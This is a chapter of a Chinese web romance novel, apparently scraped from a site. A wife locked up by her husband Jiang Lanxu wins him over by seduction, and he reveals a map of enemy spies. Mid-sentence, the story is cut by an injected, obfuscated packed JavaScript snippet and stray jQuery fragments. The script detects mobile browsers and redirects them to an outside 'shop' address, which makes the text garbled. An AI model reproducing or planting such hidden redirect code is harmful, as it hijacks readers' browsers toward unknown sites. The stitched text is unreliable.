50. 第50章

作品:《为姐姐嫁给国公爷后

    “有人吗?”


    “我要见江澜序!”


    说是被关到柴房,实则是被江澜序关到轩景堂。


    墙壁四周坚硬如铁笼,门窗被封死,找不到逃出去的可能。


    三天三夜,除了过来送饭和送药的小厮。


    没有任何人搭理她。


    想到被关之前的事情,心中的不安不断地膨胀放大,煎熬异常。


    她趴在门板上,恨恨地用手砸了砸门板。


    原本她以为装中毒,用自己中毒的这件事引江澜序去查皇后的死因,揪出背后的凶手,找到姐姐的下落。


    哪知道江澜序不按照套路走。


    不知道外面是什么情况,自己有没有打草惊蛇,江澜序又是什么想法,要是他跟自己站在对立面……


    年知秋深想之下,额头的汗都冒出来。


    自己的老底几乎被江澜序掏空。


    更没有想到另半张地图居然在江澜序手中。


    他到底知道多少?


    难不成她要在这里等死不成?


    颓然地抱着双膝靠在门板后面,余光一晃。


    门外有抹影子,投射在地面上一动不动,似是风吹动衣角,影子晃了晃。


    不动声响看好一会,直觉告诉她外面站着的人就是江澜序。


    他这些天都过来偷偷观察她?!


    她伸手猛得拍击门板,只见那影子离门口远了些,似是要走。


    “江澜序!我知道是你,你别走,我有话要说!”


    一边扯着嗓子大喊,一边绞尽脑汁想着要怎么样把他给留下来。


    “你不是想知道我干什么吗?你过来,我全部告诉你!”


    晃动的影子再次在地面固定住,年知秋跟着屏气。


    “呵!”外面传来一声熟悉的冷笑声。


    “夫人,我给过你机会,是你自己不珍惜。”


    影子再次挪动。


    年知秋着急,以他的手段,迟早把她翻个底朝天。


    坦白,跟被他查出来,那可是有天壤之别。


    被他查出来的时候,她说不定会被关皇城司的地牢里面。


    那一定比这里叫天天不应,叫地地不灵。


    情急之下,她脱口而出,


    “求你,江澜序求你!”


    她转而软攻,故意弄出沉闷的动静,似下跪的动作。


    “江澜序,我不能待在这里,求你放过我,也求你帮我……”


    说到最后,她带上几分哽咽。


    下一秒,她听见门外铁链拖拽的哐当声,房门刚被推开一条缝隙,她立马扒开门朝外面扑过去,撞进男人的怀中,双手把面前的男人紧紧抱住。


    只要她不松手,江澜序休想把她再关进去。


    江澜序垂眸,看见的是她得意的面容。


    又被她骗,深吸一口气。


    他抓住她的手臂想把她推开,没扒开身上的人。


    “真是辛苦你费尽心机伪装讨好。”他淡淡的讥讽。


    年知秋没跟他对着干,绕开他的话题,试着谈判,“江澜序,我们谈谈。”


    “松开。”江澜序蹙眉,黑眸透着疏离和冰冷。


    “你答应和我好好说话,不要把我关起来。”


    江澜序抿唇,居高临下的抬睫,“你没有资格跟我谈条件。”


    年知秋手一滑,抱着他的腰又摸又揉,最后用力一搂,“你诬陷我刺杀你,呵呵,我要想刺杀你,你那晚还能活着从我床榻上下去。”


    她话音刚落,明显得察觉被她抱住的男人呼吸有片刻的混乱,尽管他面色平静无波,耳根后的肌肤却浮现起一抹淡淡的红晕。


    江澜序该死地回忆起,她女扮男装挑衅自己的画面。


    他略带气恼地加大手中的力道,年知秋手上使劲跟他抗衡,她眼中露出一抹得意。


    对峙良久,江澜序妥协她这种狗皮膏药般无耻的行径。


    “好,我给你机会,放开!”


    年知秋立马松手,只见他迈步往屋里走,“过来。”


    年知秋连忙跟上,见江澜序在桌子前坐下,一副青天大老爷质问犯人的姿态,“说。”


    “……”


    年知秋在他面前坐下。


    半个时辰后,她口舌干燥,反正她该交代的都交代。


    得知她居然相信宋迟叙联手防备他。


    江澜序冷笑出声,“愚蠢,你觉得他能帮你?”


    年知秋一愣,没明白他话中的意思,江澜序见她这副无知的模样,添了一句,“皇族,命根相连,你凭什么觉得他知道凶手跟皇族有关后,不是出卖你。”


    年知秋何尝没有想过,只是她没有选择,只是试着相信一下姐姐的眼光。


    江澜序见她低垂着脑袋,没忍住多嘴道:“想把背后之人抓出来,你做得还远远不够。”


    年知秋抬头,猛得从椅子上站起身。


    上前,倒一杯茶水双手捧着送到他跟前,“您请喝茶。”


    年知秋觉得自己有那么点希望把江澜序拉拢到自己这一边。


    “我不配。”江澜序洞察出她的目的,冷冷吐字。


    “……不,你配的。”


    她试着朝他挪步,继续试探,“一日夫妻百日,我们两同床共枕过。”


    那句话叫什么来着,夫妻本是同林鸟嘛!


    江澜序不说话,年知秋见他有所动容,继续加柴煽火,主动伸手把茶杯递到他手中,看着他,眼中尽是情真意切。


    江澜序视线落在她的手上,“晚了。”


    他放下茶杯,抽出手,一副要划清关系的模样。


    “夫君!”年知秋连忙将他的手抓回来,深情呼唤。


    这会子,年知秋也不觉得这么叫烫口,不好意思。


    江澜序抬头看她,明明知道她不过是装出来哄骗她,明明知道她心里可能也没有他,可他还是……


    他脸上头一次出现复杂难以言喻的神情。


    年知秋干脆一屁股坐进他怀中,依偎在他怀中,好像是非常恩爱的夫妻似的,轻轻地道:“其实,我很喜欢你唤我夫人。”


    “……”


    应该狠狠地把她推到地面上,再不听她花言巧语。


    年知秋继续攻心,“我知道夫君心最软,一定不会坐视不管的。”


    她伸出手,掌心贴在他心口,他的心脏砰砰跳动。


    “哼。”他极轻地哼一声。


    忽然按住她的腰身,低头吻住她的唇瓣。


    年知秋瞬间心魂晃荡,她用力抱住他,唇瓣严丝合缝落在他的唇上,江澜序衔住她的唇,吮吸,挑弄,唇舌勾咬,吻得年知秋全身发软,要变成水,从他怀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262863|192611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中流走。


    一吻闭后,她轻轻喘着气,已经知道江澜序的态度。


    “夫君有什么好的想法帮我把背后之人引出来。”


    江澜序微撇开脸,脸上的神情似乎在说‘我凭什么白白告诉你’。


    年知秋立马捧住他的脸,在左脸亲一口,然后往右脸亲一口,最后重重在他唇上吻一口。


    江澜序放在她腰上的手收了收力,漫不经心地张唇,“夫人开口,自是没有不救的道理。”


    他嘴上这么说,后背往椅子上靠了靠,年知秋看着他那张脸,矜贵冷傲,睫毛下垂,一副要她继续表现的模样。


    年知秋觉得这男人是在占她便宜吗?


    心里被恨恨地想,反正她也不吃亏。


    她抬手直接扯了他的腰带扔到地面上。


    江澜序惊愕抬眼,年知秋已经堵住他的唇。


    “嗯……”


    她被男人从椅子上腾空抱起,往床榻上而去,


    年知秋自持身体不错,一通翻来倒去后,死趴在床上,一根手指也不想动。


    待感觉男人再覆到身后,温热的肌肤跟她相贴,发丝凌乱地纠缠着,她开始抗议道:“不行,你让我歇歇。”


    他靠在她耳边低笑,最后将她抱入怀中,脸颊贴在她侧脸边,两人肌肤上都是汗水,黏湿湿的,年知秋被他这样抱着很是不舒服,但是她懒得动弹,她半睁着眼眸,看见床榻旁的桌子上放的那只青花瓷大碗,想起江澜序特地给她展示她不久前问过的鱼肠,立马闭上眼,挪开视线。


    年知秋嘴角抽抽,虽然说她也不清楚为什么事情发生到这个地步,但是对现在的局面来说不是件坏事。


    “夫君,那牛皮地图是什么,上面的红点是什么,你又怎么拿到另半张?”


    趁着男人吃饱喝足之际,她拖着懒洋洋地声调,撒娇似地问道。


    手搭在他的腰身上,轻轻地抚摸着,这男人的腰真好看,肌肉均匀,修长流畅,形状优美。


    江澜序原本闭上双眼,听到她的话又撩开眼皮,露出一双漆黑如墨的眸子,“好,夫人想知道什么我一一说给你听。”


    “地图上的红点是异族入侵的痕迹,他们是奸细,潜入有红点的城池。”


    他的嗓音带着些惑人的沙哑。


    年知秋一惊,从他怀挣扎起来,“什么?奸细?我爹对边疆严防死守,怎么会有这么多奸细混进来?”


    她可没有忘记那密密麻麻的红点,那不是一个奸细,不是埋伏一处,而是几乎蔓延到王都。


    江澜序重新把她按回怀中,“所以,宫里有内鬼,勾连异族才能悄无声息的把这些奸细安排进来。”


    年知秋忽然觉得全身发冷,骨头发冷,张嘴喃喃,


    “好……可怕。”


    她无法想象那个场面,那么多奸细,那么多座城池,他们谋划什么,等待时间,一举歼灭?


    边疆的将士守不住的,天下要大乱。


    “你……什么时候知道的?”


    “两张地图合二为一的时候。”


    “……”


    江澜序看穿她的想法,手指顺着她后背抚摸着,似乎在安抚她的情绪。


    “乱了,就让它乱。”


    他声音无情。


    年知秋默默地想,她日后一定要跑路!带着全家跑!一定!